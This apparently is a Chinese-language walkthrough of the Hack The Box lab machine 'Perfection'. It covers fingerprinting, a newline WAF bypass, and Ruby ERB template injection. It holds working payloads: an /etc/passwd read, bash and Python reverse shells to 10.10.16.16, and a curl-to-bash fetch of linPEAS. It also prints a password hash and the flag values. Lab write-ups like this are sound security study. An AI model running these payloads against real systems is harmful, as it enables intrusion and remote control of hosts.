Perfection
连接进入后,先浏览器查看一下
一个在线体重计算平台
用Wappalyzer
进行一下指纹识别
服务器为:Nginx
,编写语言为Ruby
正常扫一下目录和端口
端口:22+80
目录:about
另外,可根据页面点击进入目录weighted-grade-calc
weighted-grade-calc
目录即一个体重计算页面
在about
下,发现两个该网站团队成员Tina Smith
Susan Miller
(后续猜测账户名?)
其他没发现有用信息,就先从体重计算页面开始下手
按照要求填好数据进行抓包分析
探测存在WAF
FUZZ一下发现可以利用换行符%0A
进行绕过
在输入框中正常试探一下基础漏洞
这里结合到网页编写语言为Ruby
,
可能存在SSTI,学习文章:Ruby ERB Template Injection
Ruby
中SSTI的标签为<%= %>
尝试读取敏感文件<%25=File.open('/etc/passwd').read%25>
而且这里还可以直接采用反引号(`)包裹命令进行命令执行
直接尝试反弹shell
这里命令中的尖括号与SSTI模版中的尖括号产生歧义bash -c "/bin/bash -i >& /dev/tcp/10.10.16.16/6666 0>&1"
(失败经历:利用国光大佬的在线编码进行绕过:命令执行在线编码
得到echo c2ggLWkgPiYgL2Rldi90Y3AvMTc1LjE3OC4yOS4xMDEvNjY2NiAwPiYx|base64 -d|bash -i
(空格用加号进行替换)
最中反弹shell的payload为<%25=
echo+c2ggLWkgPiYgL2Rldi90Y3AvMTc1LjE3OC4yOS4xMDEvNjY2NiAwPiYx|base64+-d|bash+-i%25>
(第一次打HTB。搞了好久,这里机器都不出网,需要用连vpn的机子上给的内网地址拿shell)
按理说payload没问题,但不知道为啥一直拿不到shell,最后用python进行弹shell成功
<%25%3d+`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.16.16",))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")'`+%25>
拿到user.txt
(第一个flag)
首先尝试了一下suid提权失败
在层层向上查找第一个flag的时候,发现一个Migration文件夹,进入发现一个数据库文件,使用sqlite3成功运行
首先查一下当前表明select sql from sqlite_master where type='table';
查看users
表:select * from users
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
(拿到这串加密数据,尝试进行解密失败,看了一下网上文章,发现还存在信息没有搜集全)
下载:linPEAS.全自动化进行信息搜集
在kali存在该sh脚本的目录下开启一个http服务
靶机由于权限问题,需要cd 至tmp目录,然后倒入sh文件
curl http://10.10.16.16:6666/linpeas.sh | bash
存在邮箱文件
查看邮箱文件得到密码格式信息,利用hashcat爆破
得到密码后进行ssh连结
sudo -i
切换为root
成功拿到root权限下的flag
08cbaedba7ad22f5b6a23a09028087b1